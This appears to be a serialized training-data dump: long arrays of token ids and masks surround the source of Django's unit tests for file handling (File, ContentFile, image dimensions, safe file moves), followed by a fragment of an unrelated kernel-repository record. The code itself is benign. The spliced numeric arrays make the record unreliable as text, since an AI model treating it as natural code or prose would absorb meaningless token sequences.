288, 574, 275, 715, 267, 5371, 8, 3251, 12, 291, 14, 2614, 12, 574, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
AltSchool/django
tests/files/tests.py
277
11286
# -*- coding: utf-8 -*- from __future__ import unicode_literals import gzip import os import struct import tempfile import unittest from io import BytesIO, StringIO from django.core.files import File from django.core.files.base import ContentFile from django.core.files.move import file_move_safe from django.core.files.temp import NamedTemporaryFile from django.core.files.uploadedfile import SimpleUploadedFile, UploadedFile from django.test import mock from django.utils import six from django.utils._os import upath try: from PIL import Image except ImportError: Image = None else: from django.core.files import images class FileTests(unittest.TestCase): def test_unicode_uploadedfile_name(self): uf = UploadedFile(name='¿Cómo?', content_type='text') self.assertIs(type(repr(uf)), str) def test_unicode_file_name(self): f = File(None, 'djángö') self.assertIs(type(repr(f)), str) def test_context_manager(self): orig_file = tempfile.TemporaryFile() base_file = File(orig_file) with base_file as f: self.assertIs(base_file, f) self.assertFalse(f.closed) self.assertTrue(f.closed) self.assertTrue(orig_file.closed) def test_namedtemporaryfile_closes(self): """ The symbol django.core.files.NamedTemporaryFile is assigned as a different class on different operating systems. In any case, the result should minimally mock some of the API of tempfile.NamedTemporaryFile from the Python standard library. """ tempfile = NamedTemporaryFile() self.assertTrue(hasattr(tempfile, "closed")) self.assertFalse(tempfile.closed) tempfile.close() self.assertTrue(tempfile.closed) def test_file_mode(self): # Should not set mode to None if it is not present. # See #14681, stdlib gzip module crashes if mode is set to None file = SimpleUploadedFile("mode_test.txt", b"content") self.assertFalse(hasattr(file, 'mode')) gzip.GzipFile(fileobj=file) def test_file_iteration(self): """ File objects should yield lines when iterated over. Refs #22107. """ file = File(BytesIO(b'one\ntwo\nthree')) self.assertEqual(list(file), [b'one\n', b'two\n', b'three']) def test_file_iteration_windows_newlines(self): """ #8149 - File objects with \r\n line endings should yield lines when iterated over. """ f = File(BytesIO(b'one\r\ntwo\r\nthree')) self.assertEqual(list(f), [b'one\r\n', b'two\r\n', b'three']) def test_file_iteration_mac_newlines(self): """ #8149 - File objects with \r line endings should yield lines when iterated over. """ f = File(BytesIO(b'one\rtwo\rthree')) self.assertEqual(list(f), [b'one\r', b'two\r', b'three']) def test_file_iteration_mixed_newlines(self): f = File(BytesIO(b'one\rtwo\nthree\r\nfour')) self.assertEqual(list(f), [b'one\r', b'two\n', b'three\r\n', b'four']) def test_file_iteration_with_unix_newline_at_chunk_boundary(self): f = File(BytesIO(b'one\ntwo\nthree')) # Set chunk size to create a boundary after \n: # b'one\n... # ^ f.DEFAULT_CHUNK_SIZE = 4 self.assertEqual(list(f), [b'one\n', b'two\n', b'three']) def test_file_iteration_with_windows_newline_at_chunk_boundary(self): f = File(BytesIO(b'one\r\ntwo\r\nthree')) # Set chunk size to create a boundary between \r and \n: # b'one\r\n... # ^ f.DEFAULT_CHUNK_SIZE = 4 self.assertEqual(list(f), [b'one\r\n', b'two\r\n', b'three']) def test_file_iteration_with_mac_newline_at_chunk_boundary(self): f = File(BytesIO(b'one\rtwo\rthree')) # Set chunk size to create a boundary after \r: # b'one\r... # ^ f.DEFAULT_CHUNK_SIZE = 4 self.assertEqual(list(f), [b'one\r', b'two\r', b'three']) def test_file_iteration_with_text(self): f = File(StringIO('one\ntwo\nthree')) self.assertEqual(list(f), ['one\n', 'two\n', 'three']) def test_seekable(self): """ File.seekable() should be available on Python 3. """ with tempfile.TemporaryFile() as temp: temp.write(b"contents\n") test_file = File(temp, name="something.txt") if six.PY2: self.assertFalse(hasattr(test_file, 'seekable')) if six.PY3: self.assertTrue(hasattr(test_file, 'seekable')) self.assertTrue(test_file.seekable()) class NoNameFileTestCase(unittest.TestCase): """ Other examples of unnamed files may be tempfile.SpooledTemporaryFile or urllib.urlopen() """ def test_noname_file_default_name(self): self.assertEqual(File(BytesIO(b'A file with no name')).name, None) def test_noname_file_get_size(self): self.assertEqual(File(BytesIO(b'A file with no name')).size, 19) class ContentFileTestCase(unittest.TestCase): def test_content_file_default_name(self): self.assertEqual(ContentFile(b"content").name, None) def test_content_file_custom_name(self): """ Test that the constructor of ContentFile accepts 'name' (#16590). """ name = "I can have a name too!" self.assertEqual(ContentFile(b"content", name=name).name, name) def test_content_file_input_type(self): """ Test that ContentFile can accept both bytes and unicode and that the retrieved content is of the same type. """ self.assertIsInstance(ContentFile(b"content").read(), bytes) if six.PY3: self.assertIsInstance(ContentFile("español").read(), six.text_type) else: self.assertIsInstance(ContentFile("español").read(), bytes) class DimensionClosingBug(unittest.TestCase): """ Test that get_image_dimensions() properly closes files (#8817) """ @unittest.skipUnless(Image, "Pillow not installed") def test_not_closing_of_files(self): """ Open files passed into get_image_dimensions() should stay opened. """ empty_io = BytesIO() try: images.get_image_dimensions(empty_io) finally: self.assertTrue(not empty_io.closed) @unittest.skipUnless(Image, "Pillow not installed") def test_closing_of_filenames(self): """ get_image_dimensions() called with a filename should closed the file. """ # We need to inject a modified open() builtin into the images module # that checks if the file was closed properly if the function is # called with a filename instead of an file object. # get_image_dimensions will call our catching_open instead of the # regular builtin one. class FileWrapper(object): _closed = [] def __init__(self, f): self.f = f def __getattr__(self, name): return getattr(self.f, name) def close(self): self._closed.append(True) self.f.close() def catching_open(*args): return FileWrapper(open(*args)) images.open = catching_open try: images.get_image_dimensions(os.path.join(os.path.dirname(upath(__file__)), "test1.png")) finally: del images.open self.assertTrue(FileWrapper._closed) class InconsistentGetImageDimensionsBug(unittest.TestCase): """ Test that get_image_dimensions() works properly after various calls using a file handler (#11158) """ @unittest.skipUnless(Image, "Pillow not installed") def test_multiple_calls(self): """ Multiple calls of get_image_dimensions() should return the same size. """ img_path = os.path.join(os.path.dirname(upath(__file__)), "test.png") with open(img_path, 'rb') as fh: image = images.ImageFile(fh) image_pil = Image.open(fh) size_1 = images.get_image_dimensions(image) size_2 = images.get_image_dimensions(image) self.assertEqual(image_pil.size, size_1) self.assertEqual(size_1, size_2) @unittest.skipUnless(Image, "Pillow not installed") def test_bug_19457(self): """ Regression test for #19457 get_image_dimensions fails on some pngs, while Image.size is working good on them """ img_path = os.path.join(os.path.dirname(upath(__file__)), "magic.png") size = images.get_image_dimensions(img_path) with open(img_path, 'rb') as fh: self.assertEqual(size, Image.open(fh).size) @unittest.skipUnless(Image, "Pillow not installed") class GetImageDimensionsTests(unittest.TestCase): def test_invalid_image(self): """ get_image_dimensions() should return (None, None) for the dimensions of invalid images (#24441). brokenimg.png is not a valid image and it has been generated by: $ echo "123" > brokenimg.png """ img_path = os.path.join(os.path.dirname(upath(__file__)), "brokenimg.png") with open(img_path, 'rb') as fh: size = images.get_image_dimensions(fh) self.assertEqual(size, (None, None)) def test_valid_image(self): """ get_image_dimensions() should catch struct.error while feeding the PIL Image parser (#24544). Emulates the Parser feed error. Since the error is raised on every feed attempt, the resulting image size should be invalid: (None, None). """ img_path = os.path.join(os.path.dirname(upath(__file__)), "test.png") with mock.patch('PIL.ImageFile.Parser.feed', side_effect=struct.error): with open(img_path, 'rb') as fh: size = images.get_image_dimensions(fh) self.assertEqual(size, (None, None)) class FileMoveSafeTests(unittest.TestCase): def test_file_move_overwrite(self): handle_a, self.file_a = tempfile.mkstemp() handle_b, self.file_b = tempfile.mkstemp() # file_move_safe should raise an IOError exception if destination file exists and allow_overwrite is False self.assertRaises(IOError, lambda: file_move_safe(self.file_a, self.file_b, allow_overwrite=False)) # should allow it and continue on if allow_overwrite is True self.assertIsNone(file_move_safe(self.file_a, self.file_b, allow_overwrite=True)) os.close(handle_a) os.close(handle_b) class SpooledTempTests(unittest.TestCase): def test_in_memory_spooled_temp(self): with tempfile.SpooledTemporaryFile() as temp: temp.write(b"foo bar baz quux\n") django_file = File(temp, name="something.txt") self.assertEqual(django_file.size, 17) def test_written_spooled_temp(self): with tempfile.SpooledTemporaryFile(max_size=4) as temp: temp.write(b"foo bar baz quux\n") django_file = File(temp, name="something.txt") self.assertEqual(django_file.size, 17)
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 11756, 199, 646, 747, 199, 646, 2702, 199, 646, 5549, 199, 646, 2882, 199, 504, 5890, 492, 11808, 12, 5228, 199, 199, 504, 1639, 14, 1018, 14, 1725, 492, 3814, 199, 504, 1639, 14, 1018, 14, 1725, 14, 1095, 492, 6646, 1173, 199, 504, 1639, 14, 1018, 14, 1725, 14, 1185, 492, 570, 63, 1185, 63, 3489, 199, 504, 1639, 14, 1018, 14, 1725, 14, 808, 492, 31825, 199, 504, 1639, 14, 1018, 14, 1725, 14, 19044, 493, 492, 5870, 24665, 12, 4949, 4591, 1173, 199, 504, 1639, 14, 396, 492, 1683, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 423, 736, 492, 1536, 1619, 199, 199, 893, 26, 272, 687, 14937, 492, 6047, 199, 2590, 3545, 26, 272, 6047, 275, 488, 199, 2836, 26, 272, 687, 1639, 14, 1018, 14, 1725, 492, 5935, 421, 199, 533, 3814, 2925, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 2975, 63, 19044, 493, 63, 354, 8, 277, 304, 267, 399, 70, 275, 4949, 4591, 1173, 8, 354, 534, 127, 124, 35, 11980, 573, 7044, 1564, 63, 466, 534, 505, 358, 267, 291, 14, 3436, 8, 466, 8, 2722, 8, 1286, 1826, 620, 9, 339, 347, 511, 63, 2975, 63, 493, 63, 354, 8, 277, 304, 267, 289, 275, 3814, 8, 403, 12, 283, 18256, 11302, 2753, 14614, 358, 267, 291, 14, 3436, 8, 466, 8, 2722, 8, 70, 1826, 620, 9, 339, 347, 511, 63, 1100, 63, 2609, 8, 277, 304, 267, 2306, 63, 493, 275, 5549, 14, 13271, 342, 267, 1300, 63, 493, 275, 3814, 8, 2981, 63, 493, 9, 267, 543, 1300, 63, 493, 465, 289, 26, 288, 291, 14, 3436, 8, 1095, 63, 493, 12, 289, 9, 288, 291, 14, 3334, 8, 70, 14, 5938, 9, 267, 291, 14, 1815, 8, 70, 14, 5938, 9, 267, 291, 14, 1815, 8, 2981, 63, 493, 14, 5938, 9, 339, 347, 511, 63, 4579, 13555, 493, 63, 1251, 874, 8, 277, 304, 267, 408, 267, 710, 5272, 1639, 14, 1018, 14, 1725, 14, 19320, 365, 7943, 465, 267, 282, 3365, 1021, 641, 3365, 17406, 10460, 14, 1010, 267, 1263, 1930, 12, 314, 754, 1077, 18790, 1183, 1683, 2005, 402, 314, 3261, 402, 267, 5549, 14, 19320, 687, 314, 2018, 4465, 3555, 14, 267, 408, 267, 5549, 275, 31825, 342, 267, 291, 14, 1815, 8, 11161, 8, 17336, 12, 298, 5938, 2237, 267, 291, 14, 3334, 8, 17336, 14, 5938, 9, 398, 5549, 14, 1600, 342, 267, 291, 14, 1815, 8, 17336, 14, 5938, 9, 339, 347, 511, 63, 493, 63, 632, 8, 277, 304, 267, 327, 7719, 440, 663, 818, 370, 488, 340, 652, 365, 440, 3451, 14, 267, 327, 1666, 327, 1079, 24957, 12, 26678, 11756, 859, 2467, 9030, 340, 818, 365, 663, 370, 488, 267, 570, 275, 5870, 24665, 480, 632, 63, 396, 14, 2424, 401, 330, 2, 1317, 531, 267, 291, 14, 3334, 8, 11161, 8, 493, 12, 283, 632, 1333, 267, 11756, 14, 29827, 8, 9234, 29, 493, 9, 339, 347, 511, 63, 493, 63, 12575, 8, 277, 304, 267, 408, 267, 3814, 2251, 1077, 1995, 2385, 1380, 27924, 1806, 14, 267, 22165, 327, 1081, 7555, 14, 267, 408, 267, 570, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 343, 2027, 60, 78, 10480, 1333, 267, 291, 14, 629, 8, 513, 8, 493, 395, 359, 66, 7, 368, 60, 78, 297, 330, 1133, 2027, 60, 78, 297, 330, 1133, 72, 850, 1105, 339, 347, 511, 63, 493, 63, 12575, 63, 8258, 63, 13839, 8, 277, 304, 267, 408, 267, 327, 24, 10721, 446, 3814, 2251, 543, 971, 82, 60, 78, 1004, 1284, 780, 1077, 1995, 2385, 267, 1380, 27924, 1806, 14, 267, 408, 267, 289, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 82, 60, 343, 2027, 60, 82, 60, 78, 10480, 1333, 267, 291, 14, 629, 8, 513, 8, 70, 395, 359, 66, 7, 368, 60, 82, 60, 78, 297, 330, 1133, 2027, 60, 82, 60, 78, 297, 330, 1133, 72, 850, 1105, 339, 347, 511, 63, 493, 63, 12575, 63, 3088, 63, 13839, 8, 277, 304, 267, 408, 267, 327, 24, 10721, 446, 3814, 2251, 543, 971, 82, 1004, 1284, 780, 1077, 1995, 2385, 267, 1380, 27924, 1806, 14, 267, 408, 267, 289, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 2591, 2027, 60, 82, 10480, 1333, 267, 291, 14, 629, 8, 513, 8, 70, 395, 359, 66, 7, 368, 60, 82, 297, 330, 1133, 2027, 60, 82, 297, 330, 1133, 72, 850, 1105, 339, 347, 511, 63, 493, 63, 12575, 63, 10455, 63, 13839, 8, 277, 304, 267, 289, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 2591, 2027, 60, 78, 10480, 60, 82, 60, 78, 13672, 1333, 267, 291, 14, 629, 8, 513, 8, 70, 395, 359, 66, 7, 368, 60, 82, 297, 330, 1133, 2027, 60, 78, 297, 330, 1133, 72, 850, 60, 82, 60, 78, 297, 330, 7, 13672, 1105, 339, 347, 511, 63, 493, 63, 12575, 63, 1045, 63, 11864, 63, 12210, 63, 292, 63, 4604, 63, 9891, 8, 277, 304, 267, 289, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 343, 2027, 60, 78, 10480, 1333, 267, 327, 2494, 3728, 1568, 370, 1218, 282, 8424, 2410, 971, 78, 26, 267, 327, 330, 7, 368, 60, 78, 1396, 267, 327, 263, 7167, 267, 289, 14, 3472, 63, 20512, 63, 4305, 275, 841, 267, 291, 14, 629, 8, 513, 8, 70, 395, 359, 66, 7, 368, 60, 78, 297, 330, 1133, 2027, 60, 78, 297, 330, 1133, 72, 850, 1105, 339, 347, 511, 63, 493, 63, 12575, 63, 1045, 63, 8258, 63, 12210, 63, 292, 63, 4604, 63, 9891, 8, 277, 304, 267, 289, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 82, 60, 343, 2027, 60, 82, 60, 78, 10480, 1333, 267, 327, 2494, 3728, 1568, 370, 1218, 282, 8424, 3382, 971, 82, 436, 971, 78, 26, 267, 327, 330, 7, 368, 60, 82, 60, 78, 1396, 267, 327, 263, 7167, 267, 289, 14, 3472, 63, 20512, 63, 4305, 275, 841, 267, 291, 14 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 11756, 199, 646, 747, 199, 646, 2702, 199, 646, 5549, 199, 646, 2882, 199, 504, 5890, 492, 11808, 12, 5228, 199, 199, 504, 1639, 14, 1018, 14, 1725, 492, 3814, 199, 504, 1639, 14, 1018, 14, 1725, 14, 1095, 492, 6646, 1173, 199, 504, 1639, 14, 1018, 14, 1725, 14, 1185, 492, 570, 63, 1185, 63, 3489, 199, 504, 1639, 14, 1018, 14, 1725, 14, 808, 492, 31825, 199, 504, 1639, 14, 1018, 14, 1725, 14, 19044, 493, 492, 5870, 24665, 12, 4949, 4591, 1173, 199, 504, 1639, 14, 396, 492, 1683, 199, 504, 1639, 14, 1208, 492, 3816, 199, 504, 1639, 14, 1208, 423, 736, 492, 1536, 1619, 199, 199, 893, 26, 272, 687, 14937, 492, 6047, 199, 2590, 3545, 26, 272, 6047, 275, 488, 199, 2836, 26, 272, 687, 1639, 14, 1018, 14, 1725, 492, 5935, 421, 199, 533, 3814, 2925, 8, 2796, 14, 1746, 304, 272, 347, 511, 63, 2975, 63, 19044, 493, 63, 354, 8, 277, 304, 267, 399, 70, 275, 4949, 4591, 1173, 8, 354, 534, 127, 124, 35, 11980, 573, 7044, 1564, 63, 466, 534, 505, 358, 267, 291, 14, 3436, 8, 466, 8, 2722, 8, 1286, 1826, 620, 9, 339, 347, 511, 63, 2975, 63, 493, 63, 354, 8, 277, 304, 267, 289, 275, 3814, 8, 403, 12, 283, 18256, 11302, 2753, 14614, 358, 267, 291, 14, 3436, 8, 466, 8, 2722, 8, 70, 1826, 620, 9, 339, 347, 511, 63, 1100, 63, 2609, 8, 277, 304, 267, 2306, 63, 493, 275, 5549, 14, 13271, 342, 267, 1300, 63, 493, 275, 3814, 8, 2981, 63, 493, 9, 267, 543, 1300, 63, 493, 465, 289, 26, 288, 291, 14, 3436, 8, 1095, 63, 493, 12, 289, 9, 288, 291, 14, 3334, 8, 70, 14, 5938, 9, 267, 291, 14, 1815, 8, 70, 14, 5938, 9, 267, 291, 14, 1815, 8, 2981, 63, 493, 14, 5938, 9, 339, 347, 511, 63, 4579, 13555, 493, 63, 1251, 874, 8, 277, 304, 267, 408, 267, 710, 5272, 1639, 14, 1018, 14, 1725, 14, 19320, 365, 7943, 465, 267, 282, 3365, 1021, 641, 3365, 17406, 10460, 14, 1010, 267, 1263, 1930, 12, 314, 754, 1077, 18790, 1183, 1683, 2005, 402, 314, 3261, 402, 267, 5549, 14, 19320, 687, 314, 2018, 4465, 3555, 14, 267, 408, 267, 5549, 275, 31825, 342, 267, 291, 14, 1815, 8, 11161, 8, 17336, 12, 298, 5938, 2237, 267, 291, 14, 3334, 8, 17336, 14, 5938, 9, 398, 5549, 14, 1600, 342, 267, 291, 14, 1815, 8, 17336, 14, 5938, 9, 339, 347, 511, 63, 493, 63, 632, 8, 277, 304, 267, 327, 7719, 440, 663, 818, 370, 488, 340, 652, 365, 440, 3451, 14, 267, 327, 1666, 327, 1079, 24957, 12, 26678, 11756, 859, 2467, 9030, 340, 818, 365, 663, 370, 488, 267, 570, 275, 5870, 24665, 480, 632, 63, 396, 14, 2424, 401, 330, 2, 1317, 531, 267, 291, 14, 3334, 8, 11161, 8, 493, 12, 283, 632, 1333, 267, 11756, 14, 29827, 8, 9234, 29, 493, 9, 339, 347, 511, 63, 493, 63, 12575, 8, 277, 304, 267, 408, 267, 3814, 2251, 1077, 1995, 2385, 1380, 27924, 1806, 14, 267, 22165, 327, 1081, 7555, 14, 267, 408, 267, 570, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 343, 2027, 60, 78, 10480, 1333, 267, 291, 14, 629, 8, 513, 8, 493, 395, 359, 66, 7, 368, 60, 78, 297, 330, 1133, 2027, 60, 78, 297, 330, 1133, 72, 850, 1105, 339, 347, 511, 63, 493, 63, 12575, 63, 8258, 63, 13839, 8, 277, 304, 267, 408, 267, 327, 24, 10721, 446, 3814, 2251, 543, 971, 82, 60, 78, 1004, 1284, 780, 1077, 1995, 2385, 267, 1380, 27924, 1806, 14, 267, 408, 267, 289, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 82, 60, 343, 2027, 60, 82, 60, 78, 10480, 1333, 267, 291, 14, 629, 8, 513, 8, 70, 395, 359, 66, 7, 368, 60, 82, 60, 78, 297, 330, 1133, 2027, 60, 82, 60, 78, 297, 330, 1133, 72, 850, 1105, 339, 347, 511, 63, 493, 63, 12575, 63, 3088, 63, 13839, 8, 277, 304, 267, 408, 267, 327, 24, 10721, 446, 3814, 2251, 543, 971, 82, 1004, 1284, 780, 1077, 1995, 2385, 267, 1380, 27924, 1806, 14, 267, 408, 267, 289, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 2591, 2027, 60, 82, 10480, 1333, 267, 291, 14, 629, 8, 513, 8, 70, 395, 359, 66, 7, 368, 60, 82, 297, 330, 1133, 2027, 60, 82, 297, 330, 1133, 72, 850, 1105, 339, 347, 511, 63, 493, 63, 12575, 63, 10455, 63, 13839, 8, 277, 304, 267, 289, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 2591, 2027, 60, 78, 10480, 60, 82, 60, 78, 13672, 1333, 267, 291, 14, 629, 8, 513, 8, 70, 395, 359, 66, 7, 368, 60, 82, 297, 330, 1133, 2027, 60, 78, 297, 330, 1133, 72, 850, 60, 82, 60, 78, 297, 330, 7, 13672, 1105, 339, 347, 511, 63, 493, 63, 12575, 63, 1045, 63, 11864, 63, 12210, 63, 292, 63, 4604, 63, 9891, 8, 277, 304, 267, 289, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 343, 2027, 60, 78, 10480, 1333, 267, 327, 2494, 3728, 1568, 370, 1218, 282, 8424, 2410, 971, 78, 26, 267, 327, 330, 7, 368, 60, 78, 1396, 267, 327, 263, 7167, 267, 289, 14, 3472, 63, 20512, 63, 4305, 275, 841, 267, 291, 14, 629, 8, 513, 8, 70, 395, 359, 66, 7, 368, 60, 78, 297, 330, 1133, 2027, 60, 78, 297, 330, 1133, 72, 850, 1105, 339, 347, 511, 63, 493, 63, 12575, 63, 1045, 63, 8258, 63, 12210, 63, 292, 63, 4604, 63, 9891, 8, 277, 304, 267, 289, 275, 3814, 8, 15466, 8, 66, 7, 368, 60, 82, 60, 343, 2027, 60, 82, 60, 78, 10480, 1333, 267, 327, 2494, 3728, 1568, 370, 1218, 282, 8424, 3382, 971, 82, 436, 971, 78, 26, 267, 327, 330, 7, 368, 60, 82, 60, 78, 1396, 267, 327, 263, 7167, 267, 289, 14, 3472, 63, 20512, 63, 4305, 275, 841, 267, 291, 14, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
victorlapin/kernel_lge_bullhead-NG
Documentation/networking/cxacru-cf.py
14668
1626
